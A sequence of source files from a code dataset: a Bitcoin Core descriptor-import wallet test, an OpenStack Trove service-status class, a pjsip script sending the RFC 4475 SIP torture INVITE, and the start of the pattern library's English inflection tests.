self.log.info("Should not import a p2sh-p2wpkh descriptor without checksum")
self.test_importdesc({"desc": "sh(wpkh(" + key.pubkey + "))",
"timestamp": "now"
},
success=False,
error_code=-5,
error_message="Missing checksum")
self.log.info("Should not import a p2sh-p2wpkh descriptor that has range specified")
self.test_importdesc({"desc": descsum_create("sh(wpkh(" + key.pubkey + "))"),
"timestamp": "now",
"range": 1,
},
success=False,
error_code=-8,
error_message="Range should not be specified for an un-ranged descriptor")
self.log.info("Should not import a p2sh-p2wpkh descriptor and have it set to active")
self.test_importdesc({"desc": descsum_create("sh(wpkh(" + key.pubkey + "))"),
"timestamp": "now",
"active": True,
},
success=False,
error_code=-8,
error_message="Active descriptors must be ranged")
self.log.info("Should import a (non-active) p2sh-p2wpkh descriptor")
self.test_importdesc({"desc": descsum_create("sh(wpkh(" + key.pubkey + "))"),
"timestamp": "now",
"active": False,
},
success=True)
assert_equal(w1.getwalletinfo()['keypoolsize'], 0)
test_address(w1,
key.p2sh_p2wpkh_addr,
ismine=True,
solvable=True)
# Check persistence of data and that loading works correctly
w1.unloadwallet()
self.nodes[1].loadwallet('w1')
test_address(w1,
key.p2sh_p2wpkh_addr,
ismine=True,
solvable=True)
# # Test importing of a multisig descriptor
key1 = get_generate_key()
key2 = get_generate_key()
self.log.info("Should import a 1-of-2 bare multisig from descriptor")
self.test_importdesc({"desc": descsum_create("multi(1," + key1.pubkey + "," + key2.pubkey + ")"),
"timestamp": "now"},
success=True)
self.log.info("Should not treat individual keys from the imported bare multisig as watchonly")
test_address(w1,
key1.p2pkh_addr,
ismine=False)
# # Test ranged descriptors
xpriv = "tprv8ZgxMBicQKsPeuVhWwi6wuMQGfPKi9Li5GtX35jVNknACgqe3CY4g5xgkfDDJcmtF7o1QnxWDRYw4H5P26PXq7sbcUkEqeR4fg3Kxp2tigg"
xpub = "tpubD6NzVbkrYhZ4YNXVQbNhMK1WqguFsUXceaVJKbmno2aZ3B6QfbMeraaYvnBSGpV3vxLyTTK9DYT1yoEck4XUScMzXoQ2U2oSmE2JyMedq3H"
addresses = ["2N7yv4p8G8yEaPddJxY41kPihnWvs39qCMf", "2MsHxyb2JS3pAySeNUsJ7mNnurtpeenDzLA"] # hdkeypath=m/0'/0'/0' and 1'
addresses += ["bcrt1qrd3n235cj2czsfmsuvqqpr3lu6lg0ju7scl8gn", "bcrt1qfqeppuvj0ww98r6qghmdkj70tv8qpchehegrg8"] # wpkh subscripts corresponding to the above addresses
desc = "sh(wpkh(" + xpub + "/0/0/*" + "))"
self.log.info("Ranged descriptors cannot have labels")
self.test_importdesc({"desc":descsum_create(desc),
"timestamp": "now",
"range": [0, 100],
"label": "test"},
success=False,
error_code=-8,
error_message='Ranged descriptors should not have a label')
self.log.info("Private keys required for private keys enabled wallet")
self.test_importdesc({"desc":descsum_create(desc),
"timestamp": "now",
"range": [0, 100]},
success=False,
error_code=-4,
error_message='Cannot import descriptor without private keys to a wallet with private keys enabled',
wallet=wpriv)
self.log.info("Ranged descriptor import should warn without a specified range")
self.test_importdesc({"desc": descsum_create(desc),
"timestamp": "now"},
success=True,
warnings=['Range not given, using default keypool range'])
assert_equal(w1.getwalletinfo()['keypoolsize'], 0)
# # Test importing of a ranged descriptor with xpriv
self.log.info("Should not import a ranged descriptor that includes xpriv into a watch-only wallet")
desc = "sh(wpkh(" + xpriv + "/0'/0'/*'" + "))"
self.test_importdesc({"desc": descsum_create(desc),
"timestamp": "now",
"range": 1},
success=False,
error_code=-4,
error_message='Cannot import private keys to a wallet with private keys disabled')
self.log.info("Should not import a descriptor with hardened derivations when private keys are disabled")
self.test_importdesc({"desc": descsum_create("wpkh(" + xpub + "/1h/*)"),
"timestamp": "now",
"range": 1},
success=False,
error_code=-4,
error_message='Cannot expand descriptor. Probably because of hardened derivations without private keys provided')
for address in addresses:
test_address(w1,
address,
ismine=False,
solvable=False)
self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now", "range": -1},
success=False, error_code=-8, error_message='End of range is too high')
self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now", "range": [-1, 10]},
success=False, error_code=-8, error_message='Range should be greater or equal than 0')
self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now", "range": [(2 << 31 + 1) - 1000000, (2 << 31 + 1)]},
success=False, error_code=-8, error_message='End of range is too high')
self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now", "range": [2, 1]},
success=False, error_code=-8, error_message='Range specified as [begin,end] must not have begin after end')
self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now", "range": [0, 1000001]},
success=False, error_code=-8, error_message='Range is too large')
# Make sure ranged imports import keys in order
w1 = self.nodes[1].get_wallet_rpc('w1')
self.log.info('Key ranges should be imported in order')
xpub = "tpubDAXcJ7s7ZwicqjprRaEWdPoHKrCS215qxGYxpusRLLmJuT69ZSicuGdSfyvyKpvUNYBW1s2U3NSrT6vrCYB9e6nZUEvrqnwXPF8ArTCRXMY"
addresses = [
'bcrt1qtmp74ayg7p24uslctssvjm06q5phz4yrxucgnv', # m/0'/0'/0
'bcrt1q8vprchan07gzagd5e6v9wd7azyucksq2xc76k8', # m/0'/0'/1
'bcrt1qtuqdtha7zmqgcrr26n2rqxztv5y8rafjp9lulu', # m/0'/0'/2
'bcrt1qau64272ymawq26t90md6an0ps99qkrse58m640', # m/0'/0'/3
'bcrt1qsg97266hrh6cpmutqen8s4s962aryy77jp0fg0', # m/0'/0'/4
]
self.test_importdesc({'desc': descsum_create('wpkh([80002067/0h/0h]' + xpub + '/*)'),
'active': True,
'range' : [0, 2],
'timestamp': 'now'
},
success=True)
self.test_importdesc({'desc': descsum_create('sh(wpkh([abcdef12/0h/0h]' + xpub + '/*))'),
'active': True,
'range' : [0, 2],
'timestamp': 'now'
},
success=True)
self.test_importdesc({'desc': descsum_create('pkh([12345678/0h/0h]' + xpub + '/*)'),
'active': True,
'range' : [0, 2],
'timestamp': 'now'
},
success=True)
assert_equal(w1.getwalletinfo()['keypoolsize'], 5 * 3)
for i, expected_addr in enumerate(addresses):
received_addr = w1.getnewaddress('', 'bech32')
assert_raises_rpc_error(-4, 'This wallet has no available keys', w1.getrawchangeaddress, 'bech32')
assert_equal(received_addr, expected_addr)
bech32_addr_info = w1.getaddressinfo(received_addr)
assert_equal(bech32_addr_info['desc'][:23], 'wpkh([80002067/0\'/0\'/{}]'.format(i))
shwpkh_addr = w1.getnewaddress('', 'p2sh-segwit')
shwpkh_addr_info = w1.getaddressinfo(shwpkh_addr)
assert_equal(shwpkh_addr_info['desc'][:26], 'sh(wpkh([abcdef12/0\'/0\'/{}]'.format(i))
pkh_addr = w1.getnewaddress('', 'legacy')
pkh_addr_info = w1.getaddressinfo(pkh_addr)
assert_equal(pkh_addr_info['desc'][:22], 'pkh([12345678/0\'/0\'/{}]'.format(i))
assert_equal(w1.getwalletinfo()['keypoolsize'], 4 * 3) # After retrieving a key, we don't refill the keypool again, so it's one less for each address type
w1.keypoolrefill()
assert_equal(w1.getwalletinfo()['keypoolsize'], 5 * 3)
# Check active=False default
self.log.info('Check imported descriptors are not active by default')
self.test_importdesc({'desc': descsum_create('pkh([12345678/0h/0h]' + xpub + '/*)'),
'range' : [0, 2],
'timestamp': 'now',
'internal': True
},
success=True)
assert_raises_rpc_error(-4, 'This wallet has no available keys', w1.getrawchangeaddress, 'legacy')
# # Test importing a descriptor containing a WIF private key
wif_priv = "cTe1f5rdT8A8DFgVWTjyPwACsDPJM9ff4QngFxUixCSvvbg1x6sh"
address = "2MuhcG52uHPknxDgmGPsV18jSHFBnnRgjPg"
desc = "sh(wpkh(" + wif_priv + "))"
self.log.info("Should import a descriptor with a WIF private key as spendable")
self.test_importdesc({"desc": descsum_create(desc),
"timestamp": "now"},
success=True,
wallet=wpriv)
test_address(wpriv,
address,
solvable=True,
ismine=True)
txid = w0.sendtoaddress(address, 49.99995540)
w0.generatetoaddress(6, w0.getnewaddress())
self.sync_blocks()
tx = wpriv.createrawtransaction([{"txid": txid, "vout": 0}], {w0.getnewaddress(): 49.999})
signed_tx = wpriv.signrawtransactionwithwallet(tx)
w1.sendrawtransaction(signed_tx['hex'])
# Make sure that we can use import and use multisig as addresses
self.log.info('Test that multisigs can be imported, signed for, and getnewaddress\'d')
self.nodes[1].createwallet(wallet_name="wmulti_priv", disable_private_keys=False, blank=True, descriptors=True)
wmulti_priv = self.nodes[1].get_wallet_rpc("wmulti_priv")
assert_equal(wmulti_priv.getwalletinfo()['keypoolsize'], 0)
self.test_importdesc({"desc":"wsh(multi(2,tprv8ZgxMBicQKsPevADjDCWsa6DfhkVXicu8NQUzfibwX2MexVwW4tCec5mXdCW8kJwkzBRRmAay1KZya4WsehVvjTGVW6JLqiqd8DdZ4xSg52/84h/0h/0h/*,tprv8ZgxMBicQKsPdSNWUhDiwTScDr6JfkZuLshTRwzvZGnMSnGikV6jxpmdDkC3YRc4T3GD6Nvg9uv6hQg73RVv1EiTXDZwxVbsLugVHU8B1aq/84h/0h/0h/*,tprv8ZgxMBicQKsPeonDt8Ka2mrQmHa61hQ5FQCsvWBTpSNzBFgM58cV2EuXNAHF14VawVpznnme3SuTbA62sGriwWyKifJmXntfNeK7zeqMCj1/84h/0h/0h/*))#m2sr93jn",
"active": True,
"range": 1000,
"next_index": 0,
"timestamp": "now"},
success=True,
wallet=wmulti_priv)
self.test_importdesc({"desc":"wsh(multi(2,tprv8ZgxMBicQKsPevADjDCWsa6DfhkVXicu8NQUzfibwX2MexVwW4tCec5mXdCW8kJwkzBRRmAay1KZya4WsehVvjTGVW6JLqiqd8DdZ4xSg52/84h/1h/0h/*,tprv8ZgxMBicQKsPdSNWUhDiwTScDr6JfkZuLshTRwzvZGnMSnGikV6jxpmdDkC3YRc4T3GD6Nvg9uv6hQg73RVv1EiTXDZwxVbsLugVHU8B1aq/84h/1h/0h/*,tprv8ZgxMBicQKsPeonDt8Ka2mrQmHa61hQ5FQCsvWBTpSNzBFgM58cV2EuXNAHF14VawVpznnme3SuTbA62sGriwWyKifJmXntfNeK7zeqMCj1/84h/1h/0h/*))#q3sztvx5",
"active": True,
"internal" : True,
"range": 1000,
"next_index": 0,
"timestamp": "now"},
success=True,
wallet=wmulti_priv)
assert_equal(wmulti_priv.getwalletinfo()['keypoolsize'], 1001) # Range end (1000) is inclusive, so 1001 addresses generated
addr = wmulti_priv.getnewaddress('', 'bech32')
assert_equal(addr, 'bcrt1qdt0qy5p7dzhxzmegnn4ulzhard33s2809arjqgjndx87rv5vd0fq2czhy8') # Derived at m/84'/0'/0'/0
change_addr = wmulti_priv.getrawchangeaddress('bech32')
assert_equal(change_addr, 'bcrt1qt9uhe3a9hnq7vajl7a094z4s3crm9ttf8zw3f5v9gr2nyd7e3lnsy44n8e')
assert_equal(wmulti_priv.getwalletinfo()['keypoolsize'], 1000)
txid = w0.sendtoaddress(addr, 10)
self.nodes[0].generate(6)
self.sync_all()
send_txid = wmulti_priv.sendtoaddress(w0.getnewaddress(), 8)
decoded = wmulti_priv.decoderawtransaction(wmulti_priv.gettransaction(send_txid)['hex'])
assert_equal(len(decoded['vin'][0]['txinwitness']), 4)
self.nodes[0].generate(6)
self.sync_all()
self.nodes[1].createwallet(wallet_name="wmulti_pub", disable_private_keys=True, blank=True, descriptors=True)
wmulti_pub = self.nodes[1].get_wallet_rpc("wmulti_pub")
assert_equal(wmulti_pub.getwalletinfo()['keypoolsize'], 0)
self.test_importdesc({"desc":"wsh(multi(2,[7b2d0242/84h/0h/0h]tpubDCJtdt5dgJpdhW4MtaVYDhG4T4tF6jcLR1PxL43q9pq1mxvXgMS9Mzw1HnXG15vxUGQJMMSqCQHMTy3F1eW5VkgVroWzchsPD5BUojrcWs8/*,[59b09cd6/84h/0h/0h]tpubDDBF2BTR6s8drwrfDei8WxtckGuSm1cyoKxYY1QaKSBFbHBYQArWhHPA6eJrzZej6nfHGLSURYSLHr7GuYch8aY5n61tGqgn8b4cXrMuoPH/*,[e81a0532/84h/0h/0h]tpubDCsWoW1kuQB9kG5MXewHqkbjPtqPueRnXju7uM2NK7y3JYb2ajAZ9EiuZXNNuE4661RAfriBWhL8UsnAPpk8zrKKnZw1Ug7X4oHgMdZiU4E/*))#tsry0s5e",
"active": True,
"range": 1000,
"next_index": 0,
"timestamp": "now"},
success=True,
wallet=wmulti_pub)
self.test_importdesc({"desc":"wsh(multi(2,[7b2d0242/84h/1h/0h]tpubDCXqdwWZcszwqYJSnZp8eARkxGJfHAk23KDxbztV4BbschfaTfYLTcSkSJ3TN64dRqwa1rnFUScsYormKkGqNbbPwkorQimVevXjxzUV9Gf/*,[59b09cd6/84h/1h/0h]tpubDCYfZY2ceyHzYzMMVPt9MNeiqtQ2T7Uyp9QSFwYXh8Vi9iJFYXcuphJaGXfF3jUQJi5Y3GMNXvM11gaL4txzZgNGK22BFAwMXynnzv4z2Jh/*,[e81a0532/84h/1h/0h]tpubDC6UGqnsQStngYuGD4MKsMy7eD1Yg9NTJfPdvjdG2JE5oZ7EsSL3WHg4Gsw2pR5K39ZwJ46M1wZayhedVdQtMGaUhq5S23PH6fnENK3V1sb/*))#c08a2rzv",
"active": True,
"internal" : True,
"range": 1000,
"next_index": 0,
"timestamp": "now"},
success=True,
wallet=wmulti_pub)
assert_equal(wmulti_pub.getwalletinfo()['keypoolsize'], 1000) # The first one was already consumed by previous import and is detected as used
addr = wmulti_pub.getnewaddress('', 'bech32')
assert_equal(addr, 'bcrt1qp8s25ckjl7gr6x2q3dx3tn2pytwp05upkjztk6ey857tt50r5aeqn6mvr9') # Derived at m/84'/0'/0'/1
change_addr = wmulti_pub.getrawchangeaddress('bech32')
assert_equal(change_addr, 'bcrt1qt9uhe3a9hnq7vajl7a094z4s3crm9ttf8zw3f5v9gr2nyd7e3lnsy44n8e')
assert_equal(wmulti_pub.getwalletinfo()['keypoolsize'], 999)
txid = w0.sendtoaddress(addr, 10)
vout = find_vout_for_address(self.nodes[0], txid, addr)
self.nodes[0].generate(6)
self.sync_all()
assert_equal(wmulti_pub.getbalance(), wmulti_priv.getbalance())
# Make sure that descriptor wallets containing multiple xpubs in a single descriptor load correctly
wmulti_pub.unloadwallet()
self.nodes[1].loadwallet('wmulti_pub')
self.log.info("Multisig with distributed keys")
self.nodes[1].createwallet(wallet_name="wmulti_priv1", descriptors=True)
wmulti_priv1 = self.nodes[1].get_wallet_rpc("wmulti_priv1")
res = wmulti_priv1.importdescriptors([
{
"desc": descsum_create("wsh(multi(2,tprv8ZgxMBicQKsPevADjDCWsa6DfhkVXicu8NQUzfibwX2MexVwW4tCec5mXdCW8kJwkzBRRmAay1KZya4WsehVvjTGVW6JLqiqd8DdZ4xSg52/84h/0h/0h/*,[59b09cd6/84h/0h/0h]tpubDDBF2BTR6s8drwrfDei8WxtckGuSm1cyoKxYY1QaKSBFbHBYQArWhHPA6eJrzZej6nfHGLSURYSLHr7GuYch8aY5n61tGqgn8b4cXrMuoPH/*,[e81a0532/84h/0h/0h]tpubDCsWoW1kuQB9kG5MXewHqkbjPtqPueRnXju7uM2NK7y3JYb2ajAZ9EiuZXNNuE4661RAfriBWhL8UsnAPpk8zrKKnZw1Ug7X4oHgMdZiU4E/*))"),
"active": True,
"range": 1000,
"next_index": 0,
"timestamp": "now"
},
{
"desc": descsum_create("wsh(multi(2,tprv8ZgxMBicQKsPevADjDCWsa6DfhkVXicu8NQUzfibwX2MexVwW4tCec5mXdCW8kJwkzBRRmAay1KZya4WsehVvjTGVW6JLqiqd8DdZ4xSg52/84h/1h/0h/*,[59b09cd6/84h/1h/0h]tpubDCYfZY2ceyHzYzMMVPt9MNeiqtQ2T7Uyp9QSFwYXh8Vi9iJFYXcuphJaGXfF3jUQJi5Y3GMNXvM11gaL4txzZgNGK22BFAwMXynnzv4z2Jh/*,[e81a0532/84h/1h/0h]tpubDC6UGqnsQStngYuGD4MKsMy7eD1Yg9NTJfPdvjdG2JE5oZ7EsSL3WHg4Gsw2pR5K39ZwJ46M1wZayhedVdQtMGaUhq5S23PH6fnENK3V1sb/*))"),
"active": True,
"internal" : True,
"range": 1000,
"next_index": 0,
"timestamp": "now"
}])
assert_equal(res[0]['success'], True)
assert_equal(res[0]['warnings'][0], 'Not all private keys provided. Some wallet functionality may return unexpected errors')
assert_equal(res[1]['success'], True)
assert_equal(res[1]['warnings'][0], 'Not all private keys provided. Some wallet functionality may return unexpected errors')
self.nodes[1].createwallet(wallet_name='wmulti_priv2', blank=True, descriptors=True)
wmulti_priv2 = self.nodes[1].get_wallet_rpc('wmulti_priv2')
res = wmulti_priv2.importdescriptors([
{
"desc": descsum_create("wsh(multi(2,[7b2d0242/84h/0h/0h]tpubDCJtdt5dgJpdhW4MtaVYDhG4T4tF6jcLR1PxL43q9pq1mxvXgMS9Mzw1HnXG15vxUGQJMMSqCQHMTy3F1eW5VkgVroWzchsPD5BUojrcWs8/*,tprv8ZgxMBicQKsPdSNWUhDiwTScDr6JfkZuLshTRwzvZGnMSnGikV6jxpmdDkC3YRc4T3GD6Nvg9uv6hQg73RVv1EiTXDZwxVbsLugVHU8B1aq/84h/0h/0h/*,[e81a0532/84h/0h/0h]tpubDCsWoW1kuQB9kG5MXewHqkbjPtqPueRnXju7uM2NK7y3JYb2ajAZ9EiuZXNNuE4661RAfriBWhL8UsnAPpk8zrKKnZw1Ug7X4oHgMdZiU4E/*))"),
"active": True,
"range": 1000,
"next_index": 0,
"timestamp": "now"
},
{
"desc": descsum_create("wsh(multi(2,[7b2d0242/84h/1h/0h]tpubDCXqdwWZcszwqYJSnZp8eARkxGJfHAk23KDxbztV4BbschfaTfYLTcSkSJ3TN64dRqwa1rnFUScsYormKkGqNbbPwkorQimVevXjxzUV9Gf/*,tprv8ZgxMBicQKsPdSNWUhDiwTScDr6JfkZuLshTRwzvZGnMSnGikV6jxpmdDkC3YRc4T3GD6Nvg9uv6hQg73RVv1EiTXDZwxVbsLugVHU8B1aq/84h/1h/0h/*,[e81a0532/84h/1h/0h]tpubDC6UGqnsQStngYuGD4MKsMy7eD1Yg9NTJfPdvjdG2JE5oZ7EsSL3WHg4Gsw2pR5K39ZwJ46M1wZayhedVdQtMGaUhq5S23PH6fnENK3V1sb/*))"),
"active": True,
"internal" : True,
"range": 1000,
"next_index": 0,
"timestamp": "now"
}])
assert_equal(res[0]['success'], True)
assert_equal(res[0]['warnings'][0], 'Not all private keys provided. Some wallet functionality may return unexpected errors')
assert_equal(res[1]['success'], True)
assert_equal(res[1]['warnings'][0], 'Not all private keys provided. Some wallet functionality may return unexpected errors')
rawtx = self.nodes[1].createrawtransaction([{'txid': txid, 'vout': vout}], {w0.getnewaddress(): 9.999})
tx_signed_1 = wmulti_priv1.signrawtransactionwithwallet(rawtx)
assert_equal(tx_signed_1['complete'], False)
tx_signed_2 = wmulti_priv2.signrawtransactionwithwallet(tx_signed_1['hex'])
assert_equal(tx_signed_2['complete'], True)
self.nodes[1].sendrawtransaction(tx_signed_2['hex'])
self.log.info("Combo descriptors cannot be active")
self.test_importdesc({"desc": descsum_create("combo(tpubDCJtdt5dgJpdhW4MtaVYDhG4T4tF6jcLR1PxL43q9pq1mxvXgMS9Mzw1HnXG15vxUGQJMMSqCQHMTy3F1eW5VkgVroWzchsPD5BUojrcWs8/*)"),
"active": True,
"range": 1,
"timestamp": "now"},
success=False,
error_code=-4,
error_message="Combo descriptors cannot be set to active")
self.log.info("Descriptors with no type cannot be active")
self.test_importdesc({"desc": descsum_create("pk(tpubDCJtdt5dgJpdhW4MtaVYDhG4T4tF6jcLR1PxL43q9pq1mxvXgMS9Mzw1HnXG15vxUGQJMMSqCQHMTy3F1eW5VkgVroWzchsPD5BUojrcWs8/*)"),
"active": True,
"range": 1,
"timestamp": "now"},
success=True,
warnings=["Unknown output type, cannot set descriptor to active."])
if __name__ == '__main__':
ImportDescriptorsTest().main()
| mit |
Tesora-Release/tesora-trove | trove/common/instance.py | 6 | 3820 | # Copyright 2011 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
class ServiceStatus(object):
"""Represents the status of the app and in some rare cases the agent.
Code and description are what is stored in the database. "api_status"
refers to the status which comes back from the REST API.
"""
_lookup = {}
def __init__(self, code, description, api_status):
self._code = code
self._description = description
self._api_status = api_status
ServiceStatus._lookup[code] = self
@property
def action_is_allowed(self):
allowed_statuses = [
ServiceStatuses.RUNNING._code,
ServiceStatuses.SHUTDOWN._code,
ServiceStatuses.CRASHED._code,
ServiceStatuses.BLOCKED._code,
]
return self._code in allowed_statuses
@property
def api_status(self):
return self._api_status
@property
def code(self):
return self._code
@property
def description(self):
return self._description
def __eq__(self, other):
if not isinstance(other, ServiceStatus):
return False
return self.code == other.code
@staticmethod
def from_code(code):
if code not in ServiceStatus._lookup:
msg = 'Status code %s is not a valid ServiceStatus integer code.'
raise ValueError(msg % code)
return ServiceStatus._lookup[code]
@staticmethod
def from_description(desc):
all_items = ServiceStatus._lookup.items()
status_codes = [code for (code, status) in all_items
if status.description == desc]
if not status_codes:
msg = 'Status description %s is not a valid ServiceStatus.'
raise ValueError(msg % desc)
return ServiceStatus._lookup[status_codes[0]]
@staticmethod
def is_valid_code(code):
return code in ServiceStatus._lookup
def __str__(self):
return self._description
def __repr__(self):
return self._api_status
class ServiceStatuses(object):
RUNNING = ServiceStatus(0x01, 'running', 'ACTIVE')
BLOCKED = ServiceStatus(0x02, 'blocked', 'BLOCKED')
PAUSED = ServiceStatus(0x03, 'paused', 'SHUTDOWN')
SHUTDOWN = ServiceStatus(0x04, 'shutdown', 'SHUTDOWN')
CRASHED = ServiceStatus(0x06, 'crashed', 'SHUTDOWN')
FAILED = ServiceStatus(0x08, 'failed to spawn', 'FAILED')
BUILDING = ServiceStatus(0x09, 'building', 'BUILD')
PROMOTING = ServiceStatus(0x10, 'promoting replica', 'PROMOTE')
EJECTING = ServiceStatus(0x11, 'ejecting replica source', 'EJECT')
LOGGING = ServiceStatus(0x12, 'transferring guest logs', 'LOGGING')
UNKNOWN = ServiceStatus(0x16, 'unknown', 'ERROR')
NEW = ServiceStatus(0x17, 'new', 'NEW')
DELETED = ServiceStatus(0x05, 'deleted', 'DELETED')
FAILED_TIMEOUT_GUESTAGENT = ServiceStatus(0x18, 'guestagent error',
'ERROR')
INSTANCE_READY = ServiceStatus(0x19, 'instance ready', 'BUILD')
RESTART_REQUIRED = ServiceStatus(0x20, 'restart required',
'RESTART_REQUIRED')
# Dissuade further additions at run-time.
ServiceStatus.__init__ = None
| apache-2.0 |
Jetsly/pjsip-csharp | tests/pjsua/scripts-sendto/001_torture_4475_3_1_1_1.py | 59 | 1345 | # $Id: 001_torture_4475_3_1_1_1.py 2505 2009-03-12 11:25:11Z bennylp $
import inc_sip as sip
import inc_sdp as sdp
# Torture message from RFC 4475
# 3.1.1. Valid Messages
# 3.1.1.1. A Short Tortuous INVITE
complete_msg = \
"""INVITE sip:vivekg@chair-dnrc.example.com;unknownparam SIP/2.0
TO :
sip:vivekg@chair-dnrc.example.com ; tag = 1918181833n
from : "J Rosenberg \\\\\\"" <sip:jdrosen@example.com>
;
tag = 98asjd8
MaX-fOrWaRdS: 0068
Call-ID: wsinv.ndaksdj@192.0.2.1
Content-Length : 150
cseq: 0009
INVITE
Via : SIP / 2.0
/UDP
192.0.2.2;rport;branch=390skdjuw
s :
NewFangledHeader: newfangled value
continued newfangled value
UnknownHeaderWithUnusualValue: ;;,,;;,;
Content-Type: application/sdp
Route:
<sip:services.example.com;lr;unknownwith=value;unknown-no-value>
v: SIP / 2.0 / TCP spindle.example.com ;
branch = z9hG4bK9ikj8 ,
SIP / 2.0 / UDP 192.168.255.111 ; branch=
z9hG4bK30239
m:"Quoted string \\"\\"" <sip:jdrosen@example.com> ; newparam =
newvalue ;
secondparam ; q = 0.33
v=0
o=mhandley 29739 7272939 IN IP4 192.0.2.3
s=-
c=IN IP4 192.0.2.4
t=0 0
m=audio 49217 RTP/AVP 0 12
m=video 3227 RTP/AVP 31
a=rtpmap:31 LPC
"""
sendto_cfg = sip.SendtoCfg( "RFC 4475 3.1.1.1",
"--null-audio --auto-answer 200",
"", 481, complete_msg=complete_msg)
| gpl-2.0 |
z0by/pattern | test/test_en.py | 20 | 48666 | # -*- coding: utf-8 -*-
import os, sys; sys.path.insert(0, os.path.join(os.path.dirname(__file__), ".."))
import unittest
import random
import subprocess
from pattern import text
from pattern import en
try:
PATH = os.path.dirname(os.path.realpath(__file__))
except:
PATH = ""
#---------------------------------------------------------------------------------------------------
class TestInflection(unittest.TestCase):
def setUp(self):
pass
def test_indefinite_article(self):
# Assert "a" or "an".
for article, word in (
("an", "hour"),
("an", "FBI"),
("a", "bear"),
("a", "one-liner"),
("a", "European"),
("a", "university"),
("a", "uterus"),
("an", "owl"),
("an", "yclept"),
("a", "year")):
self.assertEqual(en.article(word, function=en.INDEFINITE), article)
self.assertEqual(en.inflect.article("heir", function=en.DEFINITE), "the")
self.assertEqual(en.inflect.referenced("ewe"), "a ewe")
print("pattern.en.inflect.article()")
def test_pluralize(self):
# Assert "octopodes" for classical plural of "octopus".
# Assert "octopuses" for modern plural.
self.assertEqual("octopodes", en.inflect.pluralize("octopus", classical=True))
self.assertEqual("octopuses", en.inflect.pluralize("octopus", classical=False))
# Assert the accuracy of the pluralization algorithm.
from pattern.db import Datasheet
i, n = 0, 0
for sg, pl in Datasheet.load(os.path.join(PATH, "corpora", "wordforms-en-celex.csv")):
if en.inflect.pluralize(sg) == pl:
i +=1
n += 1
self.assertTrue(float(i) / n > 0.95)
print("pattern.en.inflect.pluralize()")
def test_singularize(self):
# Assert the accuracy of the singularization algorithm.
from pattern.db import Datasheet
i, n = 0, 0
for sg, pl in Datasheet.load(os.path.join(PATH, "corpora", "wordforms-en-celex.csv")):
if en.inflect.singularize(pl) == sg:
i +=1
n += 1
self.assertTrue(float(i) / n > 0.95)
print("pattern.en.inflect.singularize()")
def test_find_lemma(self):
# Assert the accuracy of the verb lemmatization algorithm.
# Note: the accuracy is higher (95%) when measured on CELEX word forms
# (probably because en.verbs has high percentage irregular verbs).
i, n = 0, 0
for v1, v2 in en.inflect.verbs.inflections.items():
if en.inflect.verbs.find_lemma(v1) == v2:
i += 1
n += 1
self.assertTrue(float(i) / n > 0.90)
print("pattern.en.inflect.verbs.find_lemma()")
def test_find_lexeme(self):
# Assert the accuracy of the verb conjugation algorithm.
i, n = 0, 0
for v, lexeme1 in en.inflect.verbs.infinitives.items():
lexeme2 = en.inflect.verbs.find_lexeme(v)
for j in range(len(lexeme2)):
if lexeme1[j] == lexeme2[j] or \
lexeme1[j] == "" and \
lexeme1[j>5 and 10 or 0] == lexeme2[j]:
i += 1
n += 1
self.assertTrue(float(i) / n > 0.90)
print("pattern.en.inflect.verbs.find_lexeme()")
def test_conjugate(self):
# Assert different tenses with different conjugations.
for (v1, v2, tense) in (
("be", "be", en.INFINITIVE),
("be", "am", (en.PRESENT, 1, en.SINGULAR)),
("be", "are", (en.PRESENT, 2, en.SINGULAR)),
("be", "is", (en.PRESENT, 3, en.SINGULAR)),
("be", "are", (en.PRESENT, 0, en.PLURAL)),
("be", "being", (en.PRESENT + en.PARTICIPLE,)),
("be", "was", (en.PAST, 1, en.SINGULAR)),
("be", "were", (en.PAST, 2, en.SINGULAR)),
("be", "was", (en.PAST, 3, en.SINGULAR)),
("be", "were", (en.PAST, 0, en.PLURAL)),
("be", "were", (en.PAST, 0, None)),
("be", "been", (en.PAST + en.PARTICIPLE,)),
("be", "am", "1sg"),
("be", "are", "2sg"),
("be", "is", "3sg"),
("be", "are", "1pl"),
("be", "are", "2pl"),
("be", "are", "3pl"),
("be", "are", "pl"),
("be", "being", "part"),
("be", "was", "1sgp"),
("be", "were", "2sgp"),
("be", "was", "3sgp"),
("be", "were", "1ppl"),
("be", "were", "2ppl"),
("be", "were", "3ppl"),
("be", "were", "p"),
("be", "were", "ppl"),
("be", "been", "ppart"),
("be", "am not", "1sg-"),
("be", "aren't", "2sg-"),
("be", "isn't", "3sg-"),
("be", "aren't", "1pl-"),
("be", "aren't", "2pl-"),
("be", "aren't", "3pl-"),
("be", "aren't", "pl-"),
("be", "wasn't", "1sgp-"),
("be", "weren't", "2sgp-"),
("be", "wasn't", "3sgp-"),
("be", "weren't", "1ppl-"),
("be", "weren't", "2ppl-"),
("be", "weren't", "3ppl-"),
("be", "weren't", "ppl-"),
("had", "have", "inf"),
("had", "have", "1sg"),
("had", "have", "2sg"),
("had", "has", "3sg"),
("had", "have", "pl"),
("had", "having", "part"),
("has", "had", "1sgp"),
("has", "had", "2sgp"),
("has", "had", "3sgp"),
("has", "had", "ppl"),
("has", "had", "p"),
("has", "had", "ppart"),
("will", "will", "1sg"),
("will", "will", "2sg"),
("will", "will", "3sg"),
("will", "will", "1pl"),
("imaginerify", "imaginerifying", "part"),
("imaginerify", "imaginerified", "3sgp"),
("imaginerify", None, "1sg-")):
self.assertEqual(en.inflect.conjugate(v1, tense), v2)
print("pattern.en.inflect.conjugate()")
def test_lemma(self):
# Assert the infinitive of "weren't".
v = en.inflect.lemma("weren't")
self.assertEqual(v, "be")
print("pattern.en.inflect.lemma()")
def test_lexeme(self):
# Assert all inflections of "be".
v = en.inflect.lexeme("be")
self.assertEqual(v, [
"be", "am", "are", "is", "being",
"was", "were", "been",
"am not", "aren't", "isn't", "wasn't", "weren't"
])
v = en.inflect.lexeme("imaginerify")
self.assertEqual(v, [
